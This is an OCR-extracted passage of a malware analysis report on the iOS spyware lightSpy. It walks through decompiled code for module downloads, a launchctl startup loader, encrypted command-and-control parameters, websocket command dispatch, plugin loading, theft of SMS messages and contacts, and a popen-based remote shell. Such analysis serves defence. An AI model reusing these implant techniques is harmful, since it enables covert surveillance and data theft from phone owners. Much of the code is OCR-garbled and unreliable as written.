NSLog (CFSTR("[*] Successfully initialized jailbreak."));
++stage;

Figure 22. Code showing the completed jailbreak operation




3 The iOS Malware lightSpy

After gaining full kernel privilege, it downloads many malicious libraries to target applications.

618 browser", "/var/containers/Bundle/browser");
42618
EnvironmentalRecording”,
"/var/containe: -
)_ 3 /FileManage", "/var/containers/Bundle/FileManage”);
_42618("http: /ios_qq", "/var/containers/Bundle/ios_gq");

42618("http: /ios_telegram", "/var/containers/Bundle/ios_telegram");

42618("http: /ios_wechat", "/var/containers/Bundle/ios_wechat");
42618("http: /KeyChain", "/var/containers/Bundle/KeyChain");
42618("http: /light", "/var/containers/Bundle/light");
42618("http: /Screenaaa", "/var/containers/Bundle/Screenaaa"”);

H /Shell ", "/var/ tai /Bundle/ShellCommandaaa”);
42618("http: /SoftInfo: , "/var/containers/Bundle/SoftInfoaaa");
42618("http: /WifiLis /var/containers/Bundle/WifiList");
42618("http: /locationaaa.dylib", "/var/containers/Bundle/locationaaa.dylib");
42618("http: /baseinfoaaa.dylib", "/var/containers/Bundle/baseinfoaaa.dylib");
sub_42618("http: /irc_loader", "/var/containers/Bundle/irc_loader");

618 ("http: /launchctl", "/var/containers/Bundle/launchctl”);
34("http:/ ircbin.plist", "/var/containers/Bundle/ircbin.plist");

-
N
o
P4
13
3
o«
o

o

714 (" /var/containers/Bundle/launchctl”);

Figure 23. Downloaded modules

3.1 Startup loader
The tool launchctl loads or unloads daemons or agents. After downloading all the payloads, the exploit
spawns a daemon using launchctl with “ircbin.plist” as the argument.

v asv, wv
STR X30, [X1,#0x580+var_570]

ADRL X30, avarContainersB_19 ; "/var/containers/Bundle/ircbin.plist”
STR X30, [X1,#0x580+var_578)

ADRL X30, aUnload ; "unload”

STR X30, [Xx1,#0x580+var_580]

ADRL X1, aVarContainersB_18 ; "/var/containers/Bundle/launchctl”
STR WO, [SP,#0x580+var_548]

MOV X0, X1

BL sub_56714

MOV 1, SP

MOV x30, #0

STR X30, [X1,#0x580+var_570]

ADRL X30, avarContainersB_19 ; "/var/containers/Bundle/ircbin.plist”
STR X30, [X1,#0x580+var_578]

ADRL X30, aload ; "load”

STR X30, [X1,#0x580+var_580]

ADRL X1, aVarContainersB_18 ; "/var/containers/Bundle/launchctl”
STR WO, [SP,#0x580+var_54C]

MOV X0, x1

BL sub_56714

launchetl = al;

vl6 = alj

vl5 = aly

location = QLL;

objc_storeStrong(&location, ad);

viZ = OLLj

w8 = DLLj

w9 = pipe(vl0D) == 0;

if ( v9 && lposix_spawn_file_actions_init(&vil) )

{
vil = Evll;
posix_spawn_file_actions_adddup2(&v1l, v10[1], 1);
posix_spawn_file actions_adddup2(v12, wl10[1], 2);
posix_speawn file actions_addeclose(vl2, v10[0]};

posix_spawn_file actions_addclose(vlZ, v10[1]);
}
if ( location && lposix_spawnattr_init(&v7) )
{

vE = EvT;

posix_spawnattr_setflags(&v7, 128);
v6 = posix speawn(&vl13, launchetl, vl2, vE, vl5, envirom)j
HS5Log (CFSTR("[*] %s(%d) command: %8"));
if { location )

{(*{(void (__fastcall **)(id, _QWORD))location + 2))(location, (unsigned int)vli);
kill(v13, 19);

if va
close(v10[1]);
if ( w6 )
{
strerror(vé);
NSLog(CFSTR("[*] %a(%d): ERROR posix_spawn falled (%¥d): %8"));

Figure 24. The launchctl tool is used with ircbin.plist as the argument



This daemon uses irc_loader as an executable. This loader is just a launcher and will be used to start up
the main malicious agent deployed on the target side. It first parses the C&C “IP:PORT” address then the
download address.

v5 = E;l;él’l.( "/var/containers/Bundle/irc_loader", "r");
if (V5 )
{

bzero(v25, 0x400ulLL);

fseek(v5, -1024LL, 2);

fread(v25, 1luLL, 0x400uLL, v5);

v26 = 0;

v6 = objc_msgSend(&0BJC_CLASS __ NSString, "stringWithFormat:", CFSTR("%s"), v25);
v7 = dictionaryWithJsonString(v6);

NSLog (CFSTR( "StartupParameters=%@"), v8);

}
else
NSLog (CFSTR("open /var/containers/Bundle/irc_loader failure"), vi);

v7 = OLL;
}

Figure 25. The irc_loader as an executable

The startup parameters are hidden in the irc_loader binary and are encrypted with the AES algorithm.
After decryption, the parameters are shown in the following figure.

StartupParameters= {
“ip_port" = (
{
strRemotelP =
uRemotePort =

{
strRemotelP =
uRemotePort =

+

h
{
strRemotelP =
uRemotePort =

}
);
strConsoleParam = “"s&4|12|21=-

strDownAddress = “http:/ /androidmm/light";

~

Figure 26. The parameters after decryption

After getting these parameters, it will use them to launch another module called “light”.

v10 = objc_msgSend(&0BJC_CLASS___ lightmanage, "new");

-[1lig InitialLi :](v10, "InitialLightManag:", v7);

vll = -[lightmanage GetWorkDir](v10, "GetWorkDir");

NSLog (CFSTR("WorkDir:3@"), vi2);

if ( !((unsigned int)objc_msgSend(v3, "fileExistsAtPath:", vll, v1l) & 1) )
-[lightmanage createDir](v10, "createDir");

NSLog (CFSTR("!!!!lStart Load Libl1111"), vi3);

vl4 = objc_msgSend(&0BJC_CLASS___ LoadDynamicLib, "new");

-[LoadDynamicLib loadLight:](v14, "loadLight:", CFSTR("/var/containers/Bundle/light"));

vl5 = -[lightmanage GetIpPort](v10, "GetIpPort");

vl6 = objc_msgSend(vl5, "objectAtIndex:", OLL);

v1l7 = objc_msgSend(vl6, "objectForKey:", CFSTR("strRemoteIP"));
vl8 = objc_msgSend(vl6, "objectForKey:", CFSTR("uRemotePort"));
vl9 = -[lightmanage GetParam](v10, "GetParam");

-[LoadDynamicLib start:ipaddr:port:param:](vl4, "start:ipaddr:port:param:", vll, v17, v18, v19);
v20 = objc_msgSend(&0BJC_CLASS___ NSRunLoop, "mainRunLoop");

v21l = objc_msgSend(&0BJC_CLASS___NSMachPort, "port");

objc_msgSend(v20, "addPort:forMode:", v21, NSRunLoopCommonModes);

Figure 27. Loading the "light” module




3.2 Light, the main malicious control agent

After “light” starts up, it first initializes a database, which is used to store all the control information.

if (T!((unsigned int)+[Db initDb:](&0BJC_CLASS__ Db, "initDb:", mDatabaseDir) & 1) )
{

do
NSLog (CFSTR("initDb error"), ):
while ( !(unsigned int)+[Db initDb:](&0BJC_CLASS__ Db, "initDb:", mDatabaseDir) );

v5 = abjc (v3, di ", CPSTR("/light.db"));
v6 = objc reta1nlutoz'elaanedleturnva1ue( 5);

vl = (void *)dbrath,

dbPath = (__intéd)vé;

obje_; mlealec Y]

w13 = dbPath;

NSLog (CFSTR("dbPath = %@"), vE);

V9 = 4 :] (6OBJC_CLASS | " h:", dbPath, v13);
w10 = ebje_3 i lue(v9);

vll = (void «)fndquauu

fmdqueue = ( _int64)vi0;

objc_release(vil);

+[DbConfig createConfigTable] (£0BJC_CLASS__ DbConfig, "createConfigTable”);
+[bb?lug’in createPluginTable] (£0BJC_CLASS__ DbPlugin, "createPluginTable");

7 (&OBJC_CLASS___ DbTx " tControl");
+[ lan ](80BJC_CLASS 1 lan, " Plan”);
+[ ) (£0BJC_CIASS__) " "y
+[ 1 1] (£0BJIC_CLASS_ | 1, " Y]

Figure 28. Database is initialized for control information

The SQL statement includes the following:

CREATE TABLE IF NOT EXISTS t_transport_control (id integer PRIMARY KEY
AUTOINCREMENT, cmd integer, wifi integer, mobile integer

CREATE TABLE IF NOT EXISTS t_command_plan (id integer PRIMARY KEY
AUTOINCREMENT,type integer,start integer,stop integer,interval integer , interval_pos integer,cmd
integer,arg text NOT NULL

CREATE TABLE IF NOT EXISTS t_command_record (id integer PRIMARY KEY
AUTOINCREMENT,cmd integer, arg text, status integer,type integer, response text, starttime
integer

CREATE TABLE IF NOT EXISTS t_config (id integer PRIMARY KEY AUTOINCREMENT, key text,
value text

CREATE TABLE IF NOT EXISTS t_dormant_control (id integer PRIMARY KEY
AUTOINCREMENT, key text, value integer

CREATE TABLE IF NOT EXISTS t_plugin (id integer PRIMARY KEY AUTOINCREMENT,name
text NOT NULL,version text,md5 text,url text,path text,classname text,initparam text,isupdate
integer,isdelete integer,downstatus integer

After that, it initializes a thread using the libwebsockets library to implement the messages' receiving
function.



https://github.com/warmcat/libwebsockets

Client Agent

ECEP WebSocketModule Thread
: L
b
. libwebsockets query df

N

/var/iolight/light.db

N

Figure 29. Communication flow

The libwebsockets framework supports registering a callback broker as a protocol when creating the web
socket handler. After this thread starts, the callback broker is responsible for managing the status of the
socket handler.

+[DbCommandRecord dRecord] (&OBJIC_CLASS___ Dbe d, "Resetc a"y;
+[Plnginll.amiga load.(!nniig 1(&0BJC_CLASS__ PluginManage, 1oad.CDn!'lg , -plnglann-),
objc_stor &ML y V9)}

obje_: sta:nlunngum *)amDstip, ad);

+[DbConfig setConfigivi] (8OBJC_CLASS__ DbConfig, "setConfigivi®, CFSTR("destIF"), mDstip);
objc_storeStrong((id *)&mPort, a5);

+[DbConfig setConfig:v:](&0BJC_CLASS__ DbConfig, "setConfig:v:”, CFSTR("destPort"), mPort);
objec_storeStrong((id *)amConsoleParam, a6);j

v1B = +[| ility i ] (40BJIC_CLASS___! ility, "i ");

v19 = ebje_retai lue(v1l8);

w20 = +[@lobalVar getDeviceID] (40BJC_CLASS__ GlobalVar, "getDeviceID"};

v21 = objec_retainAutoreleasedReturnValue(v20);

objc_msgSend(v19, "setConfig:dstIP:dstPort:param:”, vil, mDstip, mPort, mConsoleParam);

v30 = (const char *)objc_msgSend(vid, "UTFBsfriag");

strocpy(self->_path, w30, 0x400uLL);

v3il = obje_retainAutorelease(vi0)}

¥v32 = v3l;

v3ii = (cuust char *)obje ug’ﬂmd(vil "u'r:rastring");
(self->_ser

self->_port = (unsigned un:]nbjc _msgBend(vil, "intValue®);

bzero(kself->_info, Ox2BBuLL);

salf->_info.options = 4096LL;

self=>_info.port = -1;

self->_info.protocols = (lws_protocols *}&p:

self->_info.fd_limit_per thread = 3;

v3i4 = (lws_context *)lws_create_context((__int

self->_context = vi4;

ols;

yaseli->_infe);// : create the web handler

if ( w34 )
{
v3i5 = objc_msgSend(&0BJC_CLASS _ NSThread, "allof');
v42 = NSConcreteStackBlock;
v43 = 3254779904LL;
vi4 = 74 WebSocketModule_setConfigWithDeviceld dprverIp serverPort_requestParam__ block_invoke;

vd5 __block_descriptor_tmp 0;

vi6 Lf)

vi6 = obje_msgSend(v35, "initWithBlock:", &vi2);
w37 = self->_thread;

self->_thread = viG6;

obje_release(vi7);

objc_msgSend(self-> thread, "start’);
else

_lws_log(lLL, "lws init failed\n");
NSLog (CFSTR( "websocket client initialize failed"));

protocels - -

_ILSprotocols DCQ aIrcTest i DATY XREF: -[WebSocketModule setConfigWithDeviceld:serverIp:serverPortireques

ncQ ZILlScallback_brokerP3lws20lws_callback_reasonsPvS82_m ; callback broker [Ilws *,1lws_callback_reasons
DcB

Figure 30. Callback broker




The broker method (for managing the lifecycle of web socket handler) used an interrupted reason to trap
into a different handler method. Among those reasons, LWS_CALLBACK_CLIENT_RECEIVE reason,
whose value is 8, is responsible for receiving the commands sent from the C&C server in this attack event.

— — — — — — —
[_int64 _ fastcall callback_broker(_ int64 al, _ int64 a2, _ int64 a3, unsigned int *ad, _ int64 a5)
{

id v10; // x0

id v11; // x0

void *v12; // x25
id v13; // x0

id via; // x24
__inté64 v15; // x19

vi0 = +[ ility ] (§0BJC_CLASS___ ility, "inst "y
vil = objo_retai 1 lue(vi0);

vi2 = v1l;

vl3l = objc_msgSend(vl 1, "wsModule");

vld = objc_: lue(vi3);

objc_release(v12);

objc_msgSend(v14, "handleInternalEventireason:user:inisize:", al, a2, a3, a4, a5);
v1l5 = lws_callback_http_dummy(al, a2, a3, ad);

objc_release(vii);

return vi5;

switch ( a4 )

case 1: : LWS_CALLBACK_CLIENT_CONNECTION_ERROR
vll = CFSTR("CLIENT_CONNECTION_ERROR: !l\n )
goto LABEL_21;

case 3: 1 : LWS_CALLBACK_CLIENT_ESTABLISHED

NSLog (CFSTR( " * *websocket callback LWS_CALLBACK_CLIENT_ESTABLISHED**"));
NSLog (CFSTR("%s: established\n"));
lws_set_timer nlecl(vo, 5000000LL) ;

tus:] (vio, " tus:”, 1LL);

=l
break;
case 4:
NSLog (CFSTR("websocket callback LWS_CALLBACK_CLOSED"));
v10-> client = Ol.t.;
= £)(vio, " ", 3LL);

/7 : LWS_CALLBACK_CLIENT_RECEIVE
le tus:](self, " :", 5LL)}
lsmg(crm( "websocket callback LWS_CALLBACK_CLIENT RECEIVE"));
v12 = objec_s ugsand(&oudc CLASS nsnan, dlta!uthlytel length:", a6, a7);
v13 = objec_retai lue(v12);
vl4 = objc_1 uqsand(iOBJc CLASS __NSString, "alloc");
v15 = objc_msgSend(v1d, TinitwithData:encoding:”, v13, 4LL)}
vi6 = +(8 ility i ] (&OBJC_CLASS__ ! ility, "inst
"Recei ithString:", vi5);

nx.og(crm( "websocket callback LWS cu.mncx culn RECEIVE_PONG"));
NSLog (CFSTR ("LWS_CALLBACK_CLIENT_RECEIVE_PONG\n"));

lwsl_hexdump_. luvul(lu., 16, a7);

break;

case 10: 1/ : LWS_CALLBACK_CLIENT_WRITEABLE
NSLog (CFSTR ("LWS_CALLBACK_CLIENT_WRITEABLE"));
v30 = OLL;

vl7 = (unsigned int)-[ le link :Value:] (v10, "linkqueue_dequeue:Value:", queue, &v30);
v18 = objc_retain(v30);
v19 = v18;

if ( 1v17 )
{
v29 = v18;
NSLog (CFSTR("***send msg=1@+***"));
if (v19 )
v20 = obje_1 d(vi9, " ng:", 4LL, v29);
v21 = objc_retai 1 lue(v20);

v22 = objc_msgSend(v21, "length");

objc_release(v2l);

v23 = objc_retainAutorelease(v1id);

v24 = objc_msgSend(v23, "UTF8String");

memcpy (viO->data + 16, v24, (size_t)v22);

if ( v22 1= (id)(int)lws_write(v?, viO->data + 16, v22, OLL) )
NSLog (CFSTR( "websocket send message failed"));

lws_callback_on_writable(v9, v25, v26, v27, v28);

Figure 31. Broker method used for managing the lifecycle of the web socket handler

After getting the message, it will call the DealFrameCommand() function to deal with each kind of
message, such as config, command plan, and command execution messages.




void __cdecl -[SocketRocketUtility ReceiveMessageWithString:] (SocketRocketUtility *self, SEL a2, id a3)
{

id v4; // x0
void *v5; // x19
id v6; // [xsp+Oh] [xbp-20h)

v4 = objc_retain(al);
v = v4;
if ( va )
{
v6 = v4;
NSLog (CFSTR( "receive=%@"));
-[SocketRocketUtility DealFrameCommand:](self, "DealFrameCommand:", v5, v6);

}
objc_release(v5);

v9 = objc_msgSend(v7, 'ohj-ctl"orlly:",l CFSTR("cmd")); I
v1l0 = objc_retai 1 d e

ik Al 77
vll = objc_msgSend(v10, "integervValue");
objc_release(v10);
switch ( (unsigned __int64)vll )

case 10001uLL:
~[SocketRocketUtility DealHeartBeat:](self, "DealHeartBeat:", v8);
break;

case 10002uLL:

case 10006uLL:
~[SocketRocketUtility DealConfig:](self, "DealConfig:", v8);
break;

case 10003uLL:
~-[SocketRocketUtility DealTransportControl:](self, "DealTransportControl:"”, vE);
break;

case 10004uLL:
-[ ki Utility Dealc dPlan:](self, "DealCommandPlan:", v8)
break;

case 10005uLL:
+[CommandThread setPlugin_data:] (&0BJC_CLASS___CommandThread, "setPlugin data:", v5);
+[C dTh d 1] (80BJC_CLASS___ CommandThread, "EnQueue:"”, 1LL);
break;

case 10008uLL:
-[ ki ility Deal d:)(self, "DealExeCommand:", v8);
break;

case 10009uLL:
- k k ility Dealc d :](self, "DealCommandOver:", v8);
break;

case 10010uLL:
~[SocketRocketUtility DealStopCommand:](self, "DealStopCommand:", v8
break;

case 10013uLL:

case 10014uLL:
+[ ol Updat Config:] (&0BJC_CLASS__|
break;

case 10015uLL:
+[ dThread :] (&0BJC_CLASS___ CommandThread, "EnQueue:”,
break;

case 10018uLL:

"Updat Config:", v5);

v1l3 = objc_retai leasedR Value(v12);
- k ility d ge:](self, "sendMessage:", vl13);
objc_release(vlii);
break;
case 10020uLL:
objc_msg d(self, "per lector inThread:withObject:
break;

UntilDone:", "destroy", OLL, OLL);

v45
vd6
va7

+[base64 base64 d ing:) (&0BJC_CLASS___ base64, "base64EncodeString:", vdd);
vld;
vl2;
vids v5;
v49 objc_retainAutoreleasedReturnValue(v45);
+[ Db dPlan insert dPlan:start:stop:inter:cmd:arg:] (
&OBJC_CLASS___ DbCommandPlan,
"insertCommandPlan:start:stop:inter:cmd:arg:",
v60,
v59,
v58,
v57,
va2,
va9);

Figure 32. A sample showing how it deals with command plan messages

An init() then thread initializes the plug-in loading. The initialized process is shown below.




void __cdecl +[ yPoint] (id al, SEL a2)
{

dispatch_semaphore t v3; // x0

void *vd; // x8

int i; // wie

unsigned int v6; // w0

bool v7; // zf

unsigned int v8; // [xsp+Ch] [xbp-44h]

vl = dispatch_semaphore_create(OLL);

v4 = (void *)thread_seme;

thread_seme = (__int64)vi;

ohjc_:nlclsa(vg);

thread_run = 1;

+[C dThread C. 1 (&OBJC_CLASS___ Ci dThread, "C: ptySeq "):
+[CommandThread EnQueue: ](&DBJC CLASS cmmnnd'l‘hreud, "EnQueue:”, 2LL);

for ( i = 0; ; ++i )

sleep(lu); __objc2_class
v6 = (unsigned int)+[CommandThread DeQueue:](&OBJC_CLASS__ CommandThread, "DeQueue:", &vE)j
if ( v6 )
vl = 13
else
v7 = thread_run == 0;
if ( 1v7 )
{

+[C Disp 1] (S0BJC_CLASS__ C , "Dispa =, P
continue;

]
void __cdecl +[CommandThread DispatchMessage:](id al, SEL a2, int a3)
switch ( a3 )
{

case 0:
objc_msgSend(al, "DispatchCommand");
break;

case 1:
objc_msgSend(al, "UpdatePlugin:");
break;

case 2:
objc_msgSend(al, "InitPlugin”);
break;

case 3:
objc_msgSend(al, "PluginTimer:");
break;

case 4:
objc_msgSend(al, "UploadMobileInfo");
break;

case 5:
objc_msgSend(al, "UploadLogFile");
break;

default:
return;

}

‘Ivoid __cdecl +[CommandThread InitPlugin](id al, SEL a2)

void *v2; // x19
__int64 v3; // x1

NSLOQ(CFSTR("********«**Enter Init Pluginl]l***skxwskwxs") 22);

v2 = objc_autoreleasePoolPush();

+[PluginManage LoadPluginList] (&0BJC_CLASS___ PluginManage, "LoadPluginList");
objc_autoreleasePoolPop(v2);

HSLog(CrSTR("*************Leave Init Pluginl!l|¥skskskdihrkar"), v3);

}
void __cdecl +[PluginManage LoadPluginList](id al, SEL a2)

id v3; // x0

id v4; // x22

id v5; // x0

id vé6; // x20
__int64 v7; // x1

NSLog(CFSTR("***k*¥*****Enter LoadPluginListx***k*kkak¥x*x*x") a2);
bIsLoadComplete = 0;

v3 = +[Common instance] (&0BJC_CLASS___ Common, "instance");

v4 = objc_; retainnutoreleasedketurnValue(v3)

objc_msgSend(v4, "sendLog:c:", 10000LL, CFSTR("FIBMTMEEFIIR...")):
objc_release(v4);

obje_msgSend(al, "SendPluginListInfo");

objc_msgSend(al, "DownPluginTask");

objc_msgSend(al, rhoadALLrlugin");

objc_msgSend(al, "SendPluginListStatus”);

v5 = +[Common instance] (&0BJC_CLASS___ Common, "instance");

v6 = objec_ retainnutoreleasedneturnValue(v5)

objc_msgSend(v6, "sendLog:c:", 10000LL, CFSTR("INFEFIIRTE..."));
objc_raleasa(vs);

bIsLoadComplete = 1;

HSLog(chTR("***********Leave Luad?luginList*************"), vT)s

Figure 33. Plug-in loading gets initialized




The plug-in loading method is notable: It first gets the plug-in name, path, and classname, then uses the
path to load the plug-in file through the dlopen() function. After that, it uses the objc_getClass() function to
get the exposed class object, with “classname” as the argument. This way, the Light module can get each
plug-in’s main class object and use these class objects to start up their own thread.

%10 = obje_s (v8, "oh'j y:", crsn( name"));

vll = objc_retai lua(vlo

vl2 = objc_msgSend(v9, ohject!otxay ' crs:l'll( "path"));

vl3 = objc_retai .l.ue(vlz)

vl4 = objec_l mgsnnd(vg, ohjeetroxxey » CFSTR("classname"));
v15 = objc_retai lue(vid);

vl = v15;

vd5 = v15;

NSLog (CFSTR("name=%€,path=1€,class=$8"), v17);
objc_msgSend(al, "MovePluginltem:", vil, vil, v13, vi5);

vi8 = objc_msgSend(al, Lunrl?lugin:tm path:classname:”, v1l, v13, v16);
v1l9 = objc_retai lue(viB);

v20 = v19;

if ( lvio)

{

3EL_15:
objc_release(v20);
objc_release(vi6);
objec_release(vli);
objc_release(vll);
goto LABEL 16;

}

v21l = objec_ mgsnnd(le, "pluginobj”);

v22 = objc_retai lue (v21);
vd] = v22;

if ( v22 )

{

vd6 = alj
v23 = objc_msgSend(v22, "GetPluginCommandID");
if ( (_DWORD)v23 )

{

v24 = +[Common inltnnca](lolm CLASS___ Common, "instance");
v25 = objc_retai Lue(v24);

v26 = (unsigned xnta)objc msgSend(v47, "init:", v25);
objc_release(v2 5);

Figure 34. The objc_getClass() function with "classname" as argument

bool __cdecl -[BaseInfo init:](BaseInfo *self, SEL a2, id a3)
{

struct objc_super v4; // [xsp+80h] [xbp-30h]

char v5; // [xsp+97h] [xbp-19h]

id location; // [xsp+98h] [xbp-18h]

SEL v7; // [xsp+AOh] [xbp-10h]

BaseInfo *v8; // [xsp+A8h] [xbp-8h]

v8 = self;

vl = a2;

location = OLL;
objc_storeStrong(&location, a3);

vs = 0;

vd.receiver = v8;

vd.cls = &OBJC_CLASS___ Baselnfo;

objc_mgSendSuparZ(ﬁvrl, initialize"ithﬂcmmnn:async:", location, OLL);
v8->_ initialized = 1;

v5

1.

objc_storeStrong(&location, OLL);
return 1;

} |

Figure 35. With baseinfoaaa.dylib module as an example, it first calls the init() method

v4 = dispatch_semaphore_create (OLL);
v5 = v24->_signal;
v24->_signal = vi;
objc_release(v5);

v1l3 = objc_msgSend(&0BJC_CLASS___ NSThread, "alloc");

v1l5 = _NSConcreteStackBlock;

vlié = 1040181392

vl

vig = 41 __BasePlugin_initializeWithCommon_async___block_invoke;
vig = l block_descriptor_tmp;

v20 = objc retain(v24);

vi2 = objc_mgsand(vm, "initWithBlock:", &v15);

v6 = v24->_thread;

v24=->_thread = vi12;

objc_release(v6);

vll v24->_thread;

v10 -[BasePlugin name] (v24, "name");

v9 = objc_: rata:\.nl\lto:elaanedkaturn\lal\la(v10) ;

v8 = objc_msg (v9, "stri i ing:", CFSTR(" thread"));
v7 = obje_: retaiuutorelealednetunvalue(vs),
objc_msgSend(vll, "setName:", v7);

objc_release(v7);

objc_release(v9);

objc_msgSend (v24->_thread, "start");

dispatch_semaphore s wait (v24-> lignal, OxFFFFFFFFFFFFFFFFLL) ;
objc_storeStrong((id *)&v20, OLL);

Figure 36. It then starts up the run loop



After all the plug-ins load successfully, attackers can send the control commands for this malicious agent.
The agent will dispatch these commands to different modules.

for ( i = objc_msgSend(v4, "count”, v4); v6 < (unsigned __ int64)i; i = objc_msgSend(v4, v7, v29) )

vli2 = objc_msgSend(v4, v8, v6);

v1l3 = objc_retai lue(v1i2);
v29 = v13;
NSLog(v10, vi1d);
if ( v13 )
{
v15 = objc_1 -.gsend(vla, v9, CFSTR("cmd"), v13);
v1l6 = objc_retai -1ue(v15),
v1l7 = objec_ lsgBend(le, v9, CFSTR("arg"));
vlg = objc_retai nValue(v17);
vl9 = v18;
v20 = +[base64 base64DecodeString:] (&0BJC_CLASS__ base64, "base64DecodeString:", v18);
v30 = v6;
v21l = v4;
v22 = v9;
v23 = v7;
v24 = v8;
v25 = v10;
v26 = objc_retai 1 d 1nc(v20);
v27 = objc_msg ‘(le, "integerValue");
+[ :8:] (§0BJC_CLASS__| , "updat dstatus:s:", v27, 2LL);
nszag(crsrn( cmd-td arg=1@"), v8);
d:arg:] (&OBJC_CLASS___ ( dTh d; " d:arg:", v27, v26, v27, v26);
-;a- —aflacaafanera

Figure 37. The agent calls the ExeCommand:arg: function, which is in the CommandThread class, to execute the
commands

void _ _cdecl +[ dThread ExeC d:arg:](id al, SEL a2, int a3, id a4d)

__int64 v4; // =21
id v5; // x19
__int64 v6; // x1
void *v7; [/ x20
NSString *v8; // x0
NSString *v9; // x22
__int64 w10y // x1
__int64 v1l; // x1
__int64 v12; // x1

v4 = *(_QWORD *)&a3l;

v5 = objc_retain(ad);

NSLog (CFSTR("Enter ExeCommand"), v6)j

v7 = objec_autoreleasePoolPush();

v8 = objc_msgSend(&0BJC_CLASS___ NSString, "stringWithFormat:", CFSTR("3@"), v5);
v9 = objec_: zatainhutozalealaanturnValua(vﬂ);

NSLog (CFSTR("start inCmd=%d inStrArg=1@"), v10);

+|Pluginuannga StartCommand:Argv: ](&DBJC CLASS___ Plugi + "StartC tArgv:", vé4, v9, vd, v9);
NSLog (CFSTR(“end inCmd=%d inStrArg=%€"), vil);

objc_release(v9);

ohjc autotulelne?ool?op(v?),

NSLog (CFSTR( "Leave ExeCommand”), v12);

void __cdecl +[PluginManage StartCommand:Argv:](id al, SEL a2, int a3, id a4)

__int64 va4; // x20
id v6; // x19

id v7; // x0

id v8; // x0

void *v9; // x21
id vi10; // x0

id vi1; // x0

void *v12; // x22

*(_QWORD *)&a3;
objc_retain(a4);

objc_msgSend(al, "GetPluginWithCommand:", vi4);
objc_retainAutoreleasedReturnValue(v7);

v8;

v8 )

<
=3
~unnnn

v10 = objc_msgSend(v8, "pluginObj");
vll = objc_retainAutoreleasedReturnValue(v10);
vl2 = vll;
if ( vil)
objc_msgSend(vll, "StartCommand:Argv:", v4, v6);
objc_release(vl2);

objc_release(v9);
objc_release(v6);

Figure 38. The ExeCommand:arg: function uses a related plug-in object to call their own StartCommand:Argv:
function for executing corresponding commands




3.3 BasicInfo module (Command ID 11000)

This module is mainly for gathering and uploading information such as iPhone hardware information,
contacts, SMS messages, and phone calls.

-[Baselnfo fetchContactsWithPageSize:]

7 -I fetchSMSH WithPageSize:]
\_7_| -[Baselnfo fetchPhoneCallHistoryWithPageSize:]
[7] -[Baselnfo fetchDevicelnfo]

-[Baselnfo uploadContacts:data:]
-[Baselnfo uploadSMSMessages:data:]
-[Baselnfo uploadPhoneCallHistory:data:]

Figure 39. The Basiclnfo module gathers different iPhone information

v88 = self;

vB7 = a2;

v86 = a3;

v85 = objc_retain(CFSTR("/var/mobile/Library/SMS/sms.db"));

vB3 = i

v60 = +[BaseInfoStrings startFetchingSMSMessages] (&0BJC_CLASS BaseInfoStrings, “"startFetchingSMSMessages"”);
1

v59 = objc_retai lue(v60);
-[BasePlugin sendLog:cmdIld:](v88, "sendLog:cmdId:", v59, (unsigned int)cmdId);
objc_release(v59);

v58 = -[BasePlugin common] (v88, "common");

v57 = objc_retai 1 d lue(v58);

v56 = objc_msg d(v57, "4 b WithPath:", v85);

v84 = objc_retainAutoreleasedReturnValue(v56);

objc_release(OLL);

objc_release(v57);

-[BasePlugin logDebug:tag:](v88, "logDebug:tag:", CFSTR("start opening SMS database"), v88->_name);
if ( !((unsigned int)objc_msgSend(v84, "open") & 1) )

{

v55 = +[BaselInf ings b 1 (&0BJC_CLASS___ BaseInfoStrings, "smsDatabase");
v54 = objc_retai 1 alue(v55);
v53 = +[BaselInf ings P b :] (&OBJC_CLASS___ BaseInfoStrings, "canNotOpenDatabase:", v54);
v52 = objc_retai 1 d nValue(v53);
v51 = +[PluginException exceptionWithErrorCode:Reason:](
&OBJC_CLASS___ PluginException,
"exceptionWithErrorCode:Reason:",
6LL,
v52);
v3 = objc_retai t 1 d nValue(v51);

v4 = objc_autorelease(v3);
objc_exception_throw(v4);
break(lu);
(0xEOQ7CLL) ;

Figure 40. Code that gathers targets’ SMS information

3.4 ShellCommandaaa module (Command ID 20000)

This module is mainly used for executing shell commands.

void _ cdecl -[ShellCommand StartCommand:Argv:](ShellCommand *self, SEL a2, int a3, id a4)

{
__int64 va; // x21
id v6; // x19

v4 = *(_QWORD *)&a3;

v6 = objec_retain(al);

objc_msgSend (
_myDDLog,
"log:level:flag:context:file:function:line:tag:format:",
1LL,

’
CFSTR("[%s][%s][%d]Enter Start Command:%@"),
"/Users/mac/hs/dev/iosmm/light/ShellC: d/shellc d/shellC d.m",
"-[ShellCommand StartCommand:Argv:]",

191LL,

v6);
if ( (_DWORD)v4 == 20001 )
—-[Shell ShellExeCommand:](self->mShell, "ShellExeCommand:", v6);

else
—-[ShellCommand SendOverPackage:s:](self, "SendOverPackage:s:", v4, OLL);

objc_release(v6);

Figure 41. The ShellCommandaaa module for executing shell commands



v19 = obje msend(son:lc CLASS___NSString, "stringWithFormat:", CPSTR("FIEMiTshelliFF:18"), v10);
v20 = ebje_retain lua(vi9);

objc_msgSend(v1s, sendl.og e:", 20001LL, v20);

nhj: release(v20);

objc_release(vld);

bzero(v83, Ox400uLL);

v2l = ebje Mﬁend(ioBJC CLASS___ NWSString, “"string”);

v22 = objc_retai lue(v21l);

objc_release(&stru SIBB};

v23 = ebje ugﬁ.nd(io!:lc CLASS ____NSString, "stringWithFormat:", CFSTR("ed 3@;%8;"), v13, v10);

v24 = ebje_retai ranValue(v23);

v25 = ebje ntllﬂutonlannn(vzﬂ),

v26 = v25;

v27 = (const char *)objc_msgSend(v25, "cStringUsingEncoding:", 1LL);

v28 = popen(v27, "r+"); // lilang: execute the shell command in a fork process
vi9 =

283
if ( 1v2m )
Figure 42. The popen function is used to fork a child process and execute shell commands

The module will upload the execution result if necessary. Here it uses the dictToJsonData() function to
serialize the result and post the data to the hxxp://.../api/shell/result server.

v35 = objc_msgSend(&0BJIC_CLASS Hsnutlblun:.ct;nnlzy, "alloc");
v36 = objc_msgSend(v35, "init"

w31 = obje_: ugs-nd(hna.n: CLASS__ NSNumber, "numberWithInt:", v16);
w38 = objo_retai lue(viT);

objc_msgSend(vi6, setvaluexin:teyx s V38, CPSTR("id"));
objc_release(vig);

objec_msgSend(vi6, "letva.l.ue-torxen“, v74, CPSTR("command"));
objc_msgSend(v36, "setvalue:forKey:", v33, CFSTR("result"));

v39 = objc_msgSend(&OBJC_CLASS nsnumhar, "numberWithInt:", OLL);
v40 = objc_; xutninnutomlolllmtu:n\rllun(v39)

objc_msgSend(v36, "setValue:forKey:", vi0, CPETR("status"));
objc_release(vi0);

